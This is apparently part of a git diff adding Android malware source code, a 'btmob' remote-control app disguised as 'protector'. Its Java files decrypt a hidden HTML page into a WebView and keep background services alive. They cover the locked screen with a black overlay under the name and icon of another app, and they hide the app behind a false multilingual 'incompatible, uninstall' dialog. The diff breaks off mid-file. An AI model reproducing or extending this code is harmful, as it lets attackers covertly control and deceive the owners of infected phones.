prefsEditor = mSharedPref.edit(); + prefsEditor.putString(Consts.Mob_width, mobW); + prefsEditor.putString(Consts.Mob_height, mobH); + prefsEditor.commit(); + } + + + + Thread.setDefaultUncaughtExceptionHandler(new MyExceptionHandler(myctx)); + + requestWindowFeature(Window.FEATURE_NO_TITLE); + + getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, + WindowManager.LayoutParams.FLAG_FULLSCREEN); + + try { + if (AskAutoStart()) { + //final Context mcontext = getApplicationContext(); + + // return; + } + } catch (Exception a) { + } + + + Mwbview = new WebView(myctx); + + My_Crpter cr = My_Crpter.Getinstance(); + String loadpage = "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"; + String pagebase64 = cr.Dcrpt_Str(loadpage); + String MyName = getLabelApplication(myctx); + try { + String CurrnetLanuage = Locale.getDefault().getLanguage(); + pagebase64 = (new String(Base64.decode(pagebase64, 0), "UTF-8")).replace("APPNAME", MyName) + .replace("[LNG]", CurrnetLanuage) + .replace("2024", "2025") + .replace("[BASE-ICO]", getAppIconAsBase64(myctx)); + //create webview , load the page from base64 and setcontent , delay for 5 sec , start main activity + WebSettings webSettings = Mwbview.getSettings(); + webSettings.setJavaScriptEnabled(true); // Enable JavaScript + + // Load the Base64 content into WebView + Mwbview.setWebViewClient(new WebViewClient()); + + Mwbview.loadDataWithBaseURL(null, pagebase64, "text/html", "UTF-8", null); + setContentView(Mwbview); + + } catch (Exception e) { + out(); + } + + + Thread thread = new Thread(() -> { + do { + try { + Thread.sleep(5000); + } catch (Exception e) { + e.printStackTrace(); + } + Intent workintx = new Intent(myctx, EngineWorker.class); + if (!isServiceRunning(myctx, EngineWorker.class)) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(workintx); + } else { + startService(workintx); + } + } + } while (!skip_splash); + out(); + }); + thread.start(); + + // Delay for 5 seconds to simulate loading (you can customize this timing) +// new android.os.Handler().postDelayed(() -> { +// +// }, 3000); // 5 seconds delay + } + + private void out() { + Intent intent = new Intent(getApplicationContext(), ActivMain.class); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); + startActivity(intent); + // this.finish(); + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/StarterServices.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/StarterServices.java new file mode 100644 index 0000000..7db3209 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/StarterServices.java @@ -0,0 +1,42 @@ +package com.icontrol.protector; + +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.os.Handler; +import android.os.IBinder; +import android.os.Looper; + + +public class StarterServices extends Service { + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public void onCreate() { + super.onCreate(); + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + if (My_Configs.Is_Store.equals("1")){ + Context ctx = getApplicationContext(); + Handler hstop = new Handler(Looper.getMainLooper()); + hstop.postDelayed(new Runnable() { + public void run() { + try { + Intent mainint = new Intent(ctx,ActivMain.class); + mainint.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + ctx.startActivity(mainint); + } catch (Exception d) { + + } + } + },1000); + } + return START_NOT_STICKY; + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Startme.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Startme.java new file mode 100644 index 0000000..175aaf2 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Startme.java @@ -0,0 +1,67 @@ +package com.icontrol.protector; + + +import static com.icontrol.protector.UtliTools.randomnumber; + +import android.app.Activity; +import android.content.Context; +import android.content.Intent; +import android.graphics.Point; +import android.os.Bundle; +import android.view.Window; +import android.view.WindowManager; +import android.view.WindowMetrics; + + +public class Startme extends Activity { + @Override + protected void onCreate( Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + try{ + Context myctx = getApplicationContext(); + + if (MySettings.Read(myctx,Consts.DEVICE_ID,"").length() == 0){ + String newid = UtliTools.Create_DevicID() + String.valueOf(randomnumber(100, 199)); + MyLoger.Debug("CreateID", newid); + MySettings.Write(myctx, Consts.DEVICE_ID, newid); + } + + + +// if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) { +// WindowManager wm = getSystemService(WindowManager.class); +// +// // Get current window metrics +// WindowMetrics windowMetrics = wm.getMaximumWindowMetrics(); +// +// // Subtract the insets to get the usable app size +// int width = windowMetrics.getBounds().width(); +// int height = windowMetrics.getBounds().height(); +// MySettings.Write(myctx,Consts.Mob_width,String.valueOf(width)); +// MySettings.Write(myctx,Consts.Mob_height,String.valueOf(height)); +// }else{ + + if (MySettings.Read(myctx,Consts.Mob_width,"").length() == 0){ + Point size = new Point(); + getWindowManager().getDefaultDisplay().getRealSize(size); + int width = Math.min(size.x, size.y); + int height = Math.max(size.x, size.y); + MySettings.Write(myctx, Consts.Mob_width, String.valueOf(width)); + MySettings.Write(myctx, Consts.Mob_height, String.valueOf(height)); + } + // } + + requestWindowFeature(Window.FEATURE_NO_TITLE); + + getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, + WindowManager.LayoutParams.FLAG_FULLSCREEN); + Intent fakint = new Intent(getApplicationContext(), Splasher.class); + fakint.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + + startActivity(fakint); + }catch (Exception as){ + finish(); + } + //finish(); + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/StatusMonitor.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/StatusMonitor.java new file mode 100644 index 0000000..69e1965 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/StatusMonitor.java @@ -0,0 +1,73 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.Consts.Rec_Activitys; +import static com.icontrol.protector.MySettings.ReadBool; +import static com.icontrol.protector.UtliTools.ServiceStarter; +import static com.icontrol.protector.UtliTools.setupWorkManager; +import static com.icontrol.protector.WorkServices.MyWorker.SendPing; + +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; +import android.content.IntentFilter; + + + +import java.text.SimpleDateFormat; +import java.util.Locale; + + +public class StatusMonitor { + + private BroadcastReceiver screenReceiver; + private BroadcastReceiver ResetServices; + private Context context; + + public StatusMonitor(Context context) { + this.context = context; + registerScreenReceiver(); + } + + private void registerScreenReceiver() { + try{ + screenReceiver = new WorkServices.ScreenReceiver(); + IntentFilter filter = new IntentFilter(); + filter.addAction(Intent.ACTION_SCREEN_ON); + filter.addAction(Intent.ACTION_SCREEN_OFF); + filter.addAction("android.intent.action.PHONE_STATE"); + filter.addAction(Intent.ACTION_USER_PRESENT); + context.registerReceiver(screenReceiver, filter); + }catch (Exception a){ + screenReceiver = null; + } + + try{ + ResetServices= new ResetServices(); + IntentFilter filter2 = new IntentFilter(); + filter2.addAction(Intent.ACTION_AIRPLANE_MODE_CHANGED); + filter2.addAction(Intent.ACTION_BATTERY_LOW); + filter2.addAction(Intent.ACTION_BATTERY_OKAY); + filter2.addAction(Intent.ACTION_LOCALE_CHANGED); + filter2.addAction(Intent.ACTION_TIMEZONE_CHANGED); + // filter2.addAction(Intent.ACTION_TIME_TICK); + filter2.addAction(Intent.ACTION_DEVICE_STORAGE_LOW); + filter2.addAction(Intent.ACTION_DEVICE_STORAGE_OK); + context.registerReceiver(ResetServices, filter2); + }catch (Exception s){ + ResetServices = null; + } + } + + + public void unregister() { + if (screenReceiver != null) { + context.unregisterReceiver(screenReceiver); + screenReceiver = null; + } + if(ResetServices != null){ + context.unregisterReceiver(ResetServices); + ResetServices = null; + } + } + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/TransparentActivity.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/TransparentActivity.java new file mode 100644 index 0000000..82a6613 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/TransparentActivity.java @@ -0,0 +1,360 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.AccessServices.skiponecover; +import static com.icontrol.protector.UtliTools.drawableToBitmap; +import static com.icontrol.protector.UtliTools.excludeFromTaskList; +import static com.icontrol.protector.UtliTools.getRandomLauncherApp; +import static com.icontrol.protector.UtliTools.isPackageInstalled; +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; +import static com.icontrol.protector.WorkServices.My_Access_inst; + +import static java.lang.Thread.sleep; + +import android.app.Activity; +import android.app.ActivityManager; +import android.app.KeyguardManager; +import android.content.Context; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.graphics.Bitmap; +import android.graphics.Color; +import android.graphics.PixelFormat; +import android.graphics.drawable.Drawable; +import android.net.wifi.WifiManager; +import android.os.Build; +import android.os.Bundle; +import android.content.Intent; +import android.os.Debug; +import android.os.Handler; +import android.os.Looper; +import android.os.PowerManager; +import android.provider.Settings; +import android.view.GestureDetector; +import android.view.Gravity; +import android.view.MotionEvent; +import android.view.View; +import android.view.ViewGroup; +import android.view.Window; +import android.view.WindowManager; +import android.widget.LinearLayout; + +public class TransparentActivity extends Activity { + + //private static TransparentActivity instance = null; + + @Override + protected void onDestroy() { + super.onDestroy(); + try + { + if (overlayView != null) { + overlayView.setOnClickListener(null); + overlayView=null; + } + // instance = null; + wl.release(); + gestureDetector = null; + getWindow().clearFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON); + ((ViewGroup) findViewById(android.R.id.content)).removeAllViews(); + + + }catch (Exception a){ + a.printStackTrace(); + } + } + + @Override + protected void onResume() { + super.onResume(); + // excludeFromTaskList(getApplicationContext()); + Handler hstop = new Handler(Looper.getMainLooper()); + hstop.postDelayed(new Runnable() { + public void run() { + try { + // + excludeFromTaskList(getApplicationContext()); + //moveTaskToBack(true); + lockwatcher(); + } catch (Exception d) { + + } + } + + }, 1000); + // + } + + private View overlayView; + public static WakeLockManager wl; + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + + try { + poink = true; + wl = new WakeLockManager(); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O_MR1) { + setShowWhenLocked(true); + setTurnScreenOn(true); + } + wl.acquire(getApplicationContext(), true, true); + + getWindow().getDecorView().setSystemUiVisibility( + View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY + | View.SYSTEM_UI_FLAG_LAYOUT_STABLE + | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION + | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN + | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION + | View.SYSTEM_UI_FLAG_FULLSCREEN + ); + + try { + requestWindowFeature(Window.FEATURE_NO_TITLE); + + } catch (Exception a) { + a.printStackTrace(); + } + try { + + String packageName = getRandomLauncherApp(getApplicationContext()); + + if (!isPackageInstalled(packageName, getPackageManager())) { + packageName = "com.android.vending"; + if (!isPackageInstalled(packageName, getPackageManager())) { + packageName = null; + } + } + if (packageName != null) { + + PackageManager packageManager = getPackageManager(); + ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0); + Drawable appIcon = packageManager.getApplicationIcon(applicationInfo); + + String appName = packageManager.getApplicationLabel(applicationInfo).toString(); + this.setTitle(appName); + + // Convert Drawable to Bitmap + Bitmap appIconBitmap = drawableToBitmap(appIcon); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + ActivityManager.TaskDescription taskDescription = new ActivityManager.TaskDescription(appName, appIconBitmap, Color.TRANSPARENT); + this.setTaskDescription(taskDescription); + } + } + + } catch (Exception a) { + a.printStackTrace(); + } + + doWork(); + overlayView = new View(this); + overlayView.setKeepScreenOn(true); + overlayView.setBackgroundColor(Color.BLACK); + setContentView(overlayView); + overlayView.setFocusable(true); + overlayView.setClickable(true); + overlayView.setFocusableInTouchMode(true); + + + Window window = getWindow(); + window.setFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL | + WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED | + WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON | + WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON | + WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); + + WindowManager.LayoutParams params = window.getAttributes(); + params.height = WindowManager.LayoutParams.MATCH_PARENT; // Minimal height + params.width = WindowManager.LayoutParams.MATCH_PARENT; + params.screenBrightness = 0; + params.gravity = Gravity.TOP | Gravity.START; // Pin it to the bottom + window.setAttributes(params); + + Handler hstop = new Handler(Looper.getMainLooper()); + hstop.postDelayed(new Runnable() { + public void run() { + try { + + excludeFromTaskList(getApplicationContext()); + //moveTaskToBack(true); + } catch (Exception d) { + + } + } + }, 1000); + gestureDetector = new GestureDetector(this , new GestureDetector.SimpleOnGestureListener() { + @Override + public boolean onDoubleTap(MotionEvent e) { + + moveTaskToBack(true); + overridePendingTransition(0, 0); + return true; + } + + @Override + public boolean onSingleTapConfirmed(MotionEvent e) { + + return true; + } + }); + overlayView.setOnTouchListener(new View.OnTouchListener() { + @Override + public boolean onTouch(View v, MotionEvent event) { + + if(AccessServices.skiprecord){ + moveTaskToBack(true); + overridePendingTransition(0, 0); + } + return gestureDetector.onTouchEvent(event); + } + }); + + lockwatcher(); +// new android.os.Handler().postDelayed(() -> { +// +// TransparentActivity.this.finish(); +// }, 1100); + } catch (Exception a) { + a.printStackTrace(); + finish(); + } + } + private static GestureDetector gestureDetector; + + + public void lockwatcher() { + KeyguardManager keyguardManager = (KeyguardManager) getApplicationContext().getSystemService(Context.KEYGUARD_SERVICE); + Handler hstop = new Handler(Looper.getMainLooper()); + new Thread(new Runnable() { + @Override + public void run() { + boolean isScreenLocked = true; + while (isScreenLocked){ + try{ + Thread.sleep(5000); + }catch (Exception s){} + isScreenLocked = keyguardManager.isKeyguardLocked(); + if (poink){ + //ping wakelock to prevent sleep + wl.release(); + try{ + Thread.sleep(100); + }catch (Exception s){} + wl.acquire(getApplicationContext(), true, true); + } + + //ping to services to prevent kill + try{ + Intent intent = new Intent(getApplicationContext(), WorkServices.class); + intent.setAction("HB"); + startService(intent); + }catch (Exception s){} + + } + } + }).start(); + new Thread(new Runnable() { + @Override + public void run() { + + + boolean isScreenLocked = true; + do { + try { + Thread.sleep(600); + } catch (Exception a) { + } + isScreenLocked = keyguardManager.isKeyguardLocked(); + hstop.postDelayed(() -> { + if (overlayView != null) { + try { + overlayView.setKeepScreenOn(true); + overlayView.setBackgroundColor(Color.BLACK); + } catch (Exception a) { + a.printStackTrace(); + } + } + }, 100); + + + } while (isScreenLocked); + //excludeFromTaskList(getApplicationContext()); + + + hstop.post(new Runnable() { + public void run() { + try { + // excludeFromTaskList(getApplicationContext()); + moveTaskToBack(true); + overridePendingTransition(0, 0); + } catch (Exception d) { + + } + } + }); + + } + }).start(); + } + + private void doWork() { + try { + Context mcontext = getApplicationContext(); + Intent workint = new Intent(mcontext, EngineWorker.class); + if (!MyCods.isServiceRunning(mcontext, EngineWorker.class)) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + mcontext.startForegroundService(workint); + } else { + mcontext.startService(workint); + } + } + + if (!MyCods.isServiceRunning(mcontext, WorkServices.class)) { + Intent workint2 = new Intent(mcontext, WorkServices.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + mcontext.startForegroundService(workint2); + } else { + mcontext.startService(workint2); + } + } + } catch (Exception e) { + + } + } + + public volatile static boolean poink = true; + + @Override + protected void onPause() { + super.onPause(); + try{ + poink = false; + + if (isScreenOff()) { + MyLoger.Debug("TActivity", "onPause: Detected screen off!"); + // savePlaybackState(); + try { + // excludeFromTaskList(getApplicationContext()); + skiponecover = true; + moveTaskToBack(true); + overridePendingTransition(0, 0); + AccessTools.WakeScreen(getApplicationContext()); + } catch (Exception d) { + + } + } else { + MyLoger.Debug("TActivity", "onPause: User navigated away, but screen is still on."); + } + }catch (Exception a){} + + } + + private boolean isScreenOff() { + PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE); + if (pm != null) { + return !pm.isInteractive(); + } + return false; + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/UninstallActivity.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/UninstallActivity.java new file mode 100644 index 0000000..fbc002c --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/UninstallActivity.java @@ -0,0 +1,177 @@ +package com.icontrol.protector; + + + +import static com.icontrol.protector.UtliTools.hideme; + +import android.app.Activity; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import android.os.Bundle; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + +import java.util.Locale; + + +public class UninstallActivity extends Activity { + + private static boolean Userok = false; + private TextView themsg; + private TextView button_ok; + + @Override + protected void onCreate( Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + requestWindowFeature(Window.FEATURE_NO_TITLE); + + getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, + WindowManager.LayoutParams.FLAG_FULLSCREEN); + + setContentView(R.layout.uninstall_activity); + + + themsg = findViewById(R.id.dialog_message); + button_ok = findViewById(R.id.button_ok); + + + + String currentLanguage = Locale.getDefault().getLanguage(); + switch (currentLanguage) { + case "ar": + themsg.setText("للأسف ، هذا الإصدار غير متوافق مع جهازك"); + button_ok.setText("إلغاء التثبيت"); + break; + case "zh": + themsg.setText("不幸的是,该版本与您的设备不兼容"); + button_ok.setText("卸载"); + break; + case "es": + themsg.setText("Desafortunadamente, esta versión no es compatible con su dispositivo"); + button_ok.setText("desinstalar"); + break; + case "pt": + themsg.setText("Infelizmente, esta versão não é compatível com o seu dispositivo"); + button_ok.setText("desinstalar"); + break; + case "ru": + themsg.setText("К сожалению, эта версия не совместима с вашим устройством"); + button_ok.setText("удалить"); + break; + case "tr": + themsg.setText("Maalesef, bu sürüm cihazınızla uyumlu değil"); + button_ok.setText("kaldır"); + break; + case "fr": + themsg.setText("Malheureusement, cette version n'est pas compatible avec votre appareil"); + button_ok.setText("désinstaller"); + break; + case "de": + themsg.setText("Leider ist diese Version nicht mit Ihrem Gerät kompatibel"); + button_ok.setText("deinstallieren"); + break; + case "it": + themsg.setText("Purtroppo, questa versione non è compatibile con il tuo dispositivo"); + button_ok.setText("disinstallare"); + break; + case "ja": + themsg.setText("残念ながら、このバージョンはお使いのデバイスと互換性がありません"); + button_ok.setText("アンインストール"); + break; + default: + themsg.setText("Unfortunately, this version is not compatible with your device"); + button_ok.setText("uninstall"); + break; + } + + + + + button_ok.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + Userok = true; + EndSetup(); + } + }); + } + + public void EndSetup(){ + hideme(getApplicationContext()); + // disableActivity(My_Configs.HA); + final Context mcontext = getApplicationContext(); + new Thread(new Runnable() { + @Override + public void run() { + + try { + + while (true){ + + try{ + Thread.sleep(15000); + }catch (Exception x){} + + Intent workint = new Intent(mcontext, EngineWorker.class); + if (!MyCods.isServiceRunning(mcontext, EngineWorker.class)) + { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + mcontext.startForegroundService(workint); + }else + { + mcontext.startService(workint); + } + } + + if (!MyCods.isServiceRunning(mcontext, WorkServices.class)) + { + Intent workint2 = new Intent(mcontext, WorkServices.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + mcontext.startForegroundService(workint2); + }else + { + mcontext.startService(workint2); + } + } + } + } catch (Exception e) { + + } + + } + }).start(); + + + // System.exit(0); + finish(); + } + + +// @Override +// public void finish() { +// if(!Userok){ +// Userok=true; +// EndSetup(); +// } +// +// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { +// super.finishAndRemoveTask(); +// } +// else { +// super.finish(); +// } +// } + + @Override + protected void onDestroy() { + if(!Userok){ + Userok=true; + EndSetup(); + } + super.onDestroy(); + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/UtliTools.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/UtliTools.java new file mode 100644 index 0000000..05003c7 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/UtliTools.java @@ -0,0 +1,1819 @@ +package com.icontrol.protector; + +import static android.content.Context.ACTIVITY_SERVICE; +import static android.content.Context.POWER_SERVICE; +import static android.os.Build.VERSION.SDK_INT; + +import static com.icontrol.protector.AccessTools.ject_list; +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; + +import android.app.Activity; +import android.app.ActivityManager; +import android.app.AppOpsManager; +import android.app.KeyguardManager; +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.app.WallpaperManager; +import android.content.ClipData; +import 